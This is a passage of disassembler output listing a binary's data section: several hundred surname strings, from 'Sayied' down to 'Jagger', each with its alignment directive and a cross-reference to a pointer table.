aSayied db 'Sayied',0 ; DATA XREF: ___:0042EAF8o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042EAF4o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042EAF0o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042EAECo
align 4
aSatin db 'Satin',0 ; DATA XREF: ___:0042EAE8o
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042EAE4o
align 4
aSartore db 'Sartore',0 ; DATA XREF: ___:0042EAE0o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042EADCo
align 4
aSapers db 'Sapers',0 ; DATA XREF: ___:0042EAD8o
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042EAD4o
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042EAD0o
aSamson db 'Samson',0 ; DATA XREF: ___:0042EACCo
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042EAC8o
align 4
aSahu db 'Sahu',0 ; DATA XREF: ___:0042EAC4o
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042EAC0o
align 4
aSadler db 'Sadler',0 ; DATA XREF: ___:0042EABCo
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042EAB8o
align 10h
aRyu db 'Ryu',0 ; DATA XREF: ___:0042EAB4o
aRush db 'Rush',0 ; DATA XREF: ___:0042EAB0o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042EAACo
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042EAA8o
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042EAA4o
align 4
aRu db 'Ru',0 ; DATA XREF: ___:0042EAA0o
align 10h
aRoyal db 'Royal',0 ; DATA XREF: ___:0042EA9Co
align 4
aRow db 'Row',0 ; DATA XREF: ___:0042EA98o
aRonen db 'Ronen',0 ; DATA XREF: ___:0042EA94o
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042EA90o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042EA8Co
aRocha db 'Rocha',0 ; DATA XREF: ___:0042EA88o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042EA84o
align 4
aRivera db 'Rivera',0 ; DATA XREF: ___:0042EA80o
align 10h
aRish db 'Rish',0 ; DATA XREF: ___:0042EA7Co
align 4
aRineer db 'Rineer',0 ; DATA XREF: ___:0042EA78o
align 10h
aRindos db 'Rindos',0 ; DATA XREF: ___:0042EA74o
align 4
aRielly db 'Rielly',0 ; DATA XREF: ___:0042EA70o
align 10h
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042EA6Co
align 4
aRhea db 'Rhea',0 ; DATA XREF: ___:0042EA68o
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042EA64o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042EA60o
aRenick db 'Renick',0 ; DATA XREF: ___:0042EA5Co
align 4
aRemak db 'Remak',0 ; DATA XREF: ___:0042EA58o
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042EA54o
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042EA50o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042EA4Co
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042EA48o
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042EA44o
aRapple db 'Rapple',0 ; DATA XREF: ___:0042EA40o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042EA3Co
align 4
aRangan db 'Rangan',0 ; DATA XREF: ___:0042EA38o
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042EA34o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042EA30o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042EA2Co
align 10h
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042EA28o
align 4
aRabe db 'Rabe',0 ; DATA XREF: ___:0042EA24o
align 10h
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042EA20o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042EA1Co
align 10h
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042EA18o
aPugh db 'Pugh',0 ; DATA XREF: ___:0042EA14o
align 10h
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042EA10o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042EA0Co
align 4
aProietti db 'Proietti',0 ; DATA XREF: ___:0042EA08o
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042EA04o
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042EA00o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E9FCo
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E9F8o
aPresper db 'Presper',0 ; DATA XREF: ___:0042E9F4o
aPowers db 'Powers',0 ; DATA XREF: ___:0042E9F0o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E9ECo
aPoma db 'Poma',0 ; DATA XREF: ___:0042E9E8o
align 4
aPolitis db 'Politis',0 ; DATA XREF: ___:0042E9E4o
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E9E0o
aPolak db 'Polak',0 ; DATA XREF: ___:0042E9DCo
align 10h
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E9D8o
aPointer db 'Pointer',0 ; DATA XREF: ___:0042E9D4o
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E9D0o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E9CCo
align 4
aPo db 'Po',0 ; DATA XREF: ___:0042E9C8o
align 4
aPlous db 'Plous',0 ; DATA XREF: ___:0042E9C4o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E9C0o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E9BCo
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E9B8o
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E9B4o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E9B0o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E9ACo
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E9A8o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E9A4o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E9A0o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E99Co
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E998o
align 4
aPerone db 'Perone',0 ; DATA XREF: ___:0042E994o
align 10h
aPerna db 'Perna',0 ; DATA XREF: ___:0042E990o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E98Co
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E988o
align 4
aPerko db 'Perko',0 ; DATA XREF: ___:0042E984o
align 10h
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E980o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E97Co
align 10h
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E978o
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E974o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E970o
align 10h
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E96Co
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E968o
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E964o
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E960o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E95Co
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E958o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E954o
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E950o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E94Co
align 4
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E948o
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E944o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E940o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E93Co
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E938o
align 10h
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E934o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E930o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E92Co
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E928o
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E924o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E920o
align 10h
aPaine db 'Paine',0 ; DATA XREF: ___:0042E91Co
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E918o
align 4
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E914o
align 10h
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E910o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E90Co
align 10h
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E908o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E904o
align 4
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E900o
align 10h
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E8FCo
align 4
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E8F8o
aOray db 'Oray',0 ; DATA XREF: ___:0042E8F4o
align 4
aOpel db 'Opel',0 ; DATA XREF: ___:0042E8F0o
align 10h
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E8ECo
aOman db 'Oman',0 ; DATA XREF: ___:0042E8E8o
align 10h
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E8E4o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E8E0o
align 4
aOlson db 'Olson',0 ; DATA XREF: ___:0042E8DCo
align 10h
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E8D8o
align 4
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E8D4o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E8D0o
aOh db 'Oh',0 ; DATA XREF: ___:0042E8CCo
align 4
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E8C8o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E8C4o
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E8C0o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E8BCo
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E8B8o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E8B4o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E8B0o
align 10h
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E8ACo
align 4
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E8A8o
align 10h
aNg db 'Ng',0 ; DATA XREF: ___:0042E8A4o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E8A0o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E89Co
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E898o
align 4
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E894o
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E890o
align 4
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E88Co
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E888o
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E884o
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E880o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E87Co
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E878o
align 10h
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E874o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E870o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E86Co
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E868o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E864o
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E860o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E85Co
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E858o
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E854o
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E850o
align 4
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E84Co
align 10h
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E848o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E844o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E840o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E83Co
align 4
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E838o
aMorani db 'Morani',0 ; DATA XREF: ___:0042E834o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E830o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E82Co
align 10h
aMonque db 'Monque',0 ; DATA XREF: ___:0042E828o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E824o
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E820o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E81Co
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E818o
align 10h
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E814o
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E810o
align 10h
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E80Co
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E808o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E804o
aMini db 'Mini',0 ; DATA XREF: ___:0042E800o
align 4
aMinh db 'Minh',0 ; DATA XREF: ___:0042E7FCo
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E7F8o
align 4
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E7F4o
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E7F0o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E7ECo
align 4
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E7E8o
align 10h
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E7E4o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E7E0o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E7DCo
align 4
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E7D8o
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E7D4o
align 10h
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E7D0o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E7CCo
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E7C8o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E7C4o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E7C0o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E7BCo
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E7B8o
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E7B4o
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E7B0o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E7ACo
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E7A8o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E7A4o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E7A0o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E79Co
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E798o
align 10h
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E794o
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E790o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E78Co
align 10h
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E788o
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E784o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E780o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E77Co
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E778o
aMay db 'May',0 ; DATA XREF: ___:0042E774o
aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E770o
align 4
aMattson db 'Mattson',0 ; DATA XREF: ___:0042E76Co
aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E768o
align 10h
aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E764o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E760o
aMass db 'Mass',0 ; DATA XREF: ___:0042E75Co
align 4
aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E758o
align 4
aMarton db 'Marton',0 ; DATA XREF: ___:0042E754o
align 10h
aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E750o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E74Co
align 4
aMarques db 'Marques',0 ; DATA XREF: ___:0042E748o
aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E744o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E740o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E73Co
align 10h
aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E738o
align 4
aMarch db 'March',0 ; DATA XREF: ___:0042E734o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E730o
align 10h
aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E72Co
aMandel db 'Mandel',0 ; DATA XREF: ___:0042E728o
align 4
aManalis db 'Manalis',0 ; DATA XREF: ___:0042E724o
aMalova db 'Malova',0 ; DATA XREF: ___:0042E720o
align 4
aMaller db 'Maller',0 ; DATA XREF: ___:0042E71Co
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E718o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E714o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E710o
align 10h
aMaier db 'Maier',0 ; DATA XREF: ___:0042E70Co
align 4
aMahony db 'Mahony',0 ; DATA XREF: ___:0042E708o
align 10h
aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E704o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E700o
aMacy db 'Macy',0 ; DATA XREF: ___:0042E6FCo
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E6F8o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E6F4o
align 10h
aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E6F0o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E6ECo
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E6E8o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E6E4o
align 10h
aMa db 'Ma',0 ; DATA XREF: ___:0042E6E0o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E6DCo
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E6D8o
align 4
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E6D4o
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E6D0o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E6CCo
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E6C8o
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E6C4o
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E6C0o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042E6BCo
align 10h
aLubin db 'Lubin',0 ; DATA XREF: ___:0042E6B8o
align 4
aLoza db 'Loza',0 ; DATA XREF: ___:0042E6B4o
align 10h
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E6B0o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E6ACo
aLoss db 'Loss',0 ; DATA XREF: ___:0042E6A8o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E6A4o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E6A0o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E69Co
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E698o
aLivi db 'Livi',0 ; DATA XREF: ___:0042E694o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E690o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E68Co
align 10h
aLittle db 'Little',0 ; DATA XREF: ___:0042E688o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E684o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E680o
align 10h
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E67Co
align 4
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E678o
aLine db 'Line',0 ; DATA XREF: ___:0042E674o
align 4
aLinder db 'Linder',0 ; DATA XREF: ___:0042E670o
align 10h
aLinda db 'Linda',0 ; DATA XREF: ___:0042E66Co
align 4
aLinares db 'Linares',0 ; DATA XREF: ___:0042E668o
aLim db 'Lim',0 ; DATA XREF: ___:0042E664o
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E660o
align 10h
aLight db 'Light',0 ; DATA XREF: ___:0042E65Co
align 4
aLiem db 'Liem',0 ; DATA XREF: ___:0042E658o
align 10h
aLidano db 'Lidano',0 ; DATA XREF: ___:0042E654o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E650o
align 10h
aLessi db 'Lessi',0 ; DATA XREF: ___:0042E64Co
align 4
aLesser db 'Lesser',0 ; DATA XREF: ___:0042E648o
align 10h
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E644o
align 4
aLenard db 'Lenard',0 ; DATA XREF: ___:0042E640o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042E63Co
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E638o
align 4
aLecce db 'Lecce',0 ; DATA XREF: ___:0042E634o
align 10h
aLecar db 'Lecar',0 ; DATA XREF: ___:0042E630o
align 4
aLawless db 'Lawless',0 ; DATA XREF: ___:0042E62Co
aLashley db 'Lashley',0 ; DATA XREF: ___:0042E628o
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E624o
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E620o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E61Co
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042E618o
align 4
aLandes db 'Landes',0 ; DATA XREF: ___:0042E614o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E610o
align 10h
aLaing db 'Laing',0 ; DATA XREF: ___:0042E60Co
align 4
aLafler db 'Lafler',0 ; DATA XREF: ___:0042E608o
align 10h
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E604o
aLa db 'La',0 ; DATA XREF: ___:0042E600o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E5FCo
align 4
aKusman db 'Kusman',0 ; DATA XREF: ___:0042E5F8o
align 10h
aKumar db 'Kumar',0 ; DATA XREF: ___:0042E5F4o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E5F0o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E5ECo
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E5E8o
aKraus db 'Kraus',0 ; DATA XREF: ___:0042E5E4o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E5E0o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E5DCo
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E5D8o
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E5D4o
align 4
aKotter db 'Kotter',0 ; DATA XREF: ___:0042E5D0o
align 10h
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E5CCo
align 4
aKool db 'Kool',0 ; DATA XREF: ___:0042E5C8o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E5C4o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E5C0o
align 4
aKommer db 'Kommer',0 ; DATA XREF: ___:0042E5BCo
align 10h
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E5B8o
align 4
aKohn db 'Kohn',0 ; DATA XREF: ___:0042E5B4o
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042E5B0o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E5ACo
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E5A8o
align 4
aKlint db 'Klint',0 ; DATA XREF: ___:0042E5A4o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E5A0o
aKling db 'Kling',0 ; DATA XREF: ___:0042E59Co
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E598o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E594o
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E590o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E58Co
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E588o
align 10h
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E584o
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E580o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E57Co
aKindall db 'Kindall',0 ; DATA XREF: ___:0042E578o
aKimura db 'Kimura',0 ; DATA XREF: ___:0042E574o
align 10h
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E570o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E56Co
align 10h
aKhong db 'Khong',0 ; DATA XREF: ___:0042E568o
align 4
aKeul db 'Keul',0 ; DATA XREF: ___:0042E564o
align 10h
aKerry db 'Kerry',0 ; DATA XREF: ___:0042E560o
align 4
aKendall db 'Kendall',0 ; DATA XREF: ___:0042E55Co
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E558o
aKempton db 'Kempton',0 ; DATA XREF: ___:0042E554o
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E550o
align 4
aKelker db 'Kelker',0 ; DATA XREF: ___:0042E54Co
align 10h
aKeith db 'Keith',0 ; DATA XREF: ___:0042E548o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E544o
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E540o
align 4
aKee db 'Kee',0 ; DATA XREF: ___:0042E53Co
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E538o
aKasten db 'Kasten',0 ; DATA XREF: ___:0042E534o
align 4
aKassower db 'Kassower',0 ; DATA XREF: ___:0042E530o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E52Co
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042E528o
align 4
aKamel db 'Kamel',0 ; DATA XREF: ___:0042E524o
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042E520o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E51Co
align 4
aKalil db 'Kalil',0 ; DATA XREF: ___:0042E518o
align 10h
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E514o
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E510o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E50Co
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E508o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E504o
aJulious db 'Julious',0 ; DATA XREF: ___:0042E500o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E4FCo
aJucks db 'Jucks',0 ; DATA XREF: ___:0042E4F8o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E4F4o
align 4
aJolly db 'Jolly',0 ; DATA XREF: ___:0042E4F0o
align 10h
aJohns db 'Johns',0 ; DATA XREF: ___:0042E4ECo
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E4E8o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E4E4o
aJewett db 'Jewett',0 ; DATA XREF: ___:0042E4E0o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E4DCo
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E4D8o
aJellis db 'Jellis',0 ; DATA XREF: ___:0042E4D4o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E4D0o
aJay db 'Jay',0 ; DATA XREF: ___:0042E4CCo
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E4C8o
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E4C4o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E4C0o
align 10h
aJamil db 'Jamil',0 ; DATA XREF: ___:0042E4BCo
align 4
aJain db 'Jain',0 ; DATA XREF: ___:0042E4B8o
align 10h
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E4B4o
align 4
aJagger db 'Jagger',0 ; DATA XREF: ___:0042E4B0o
align 10h
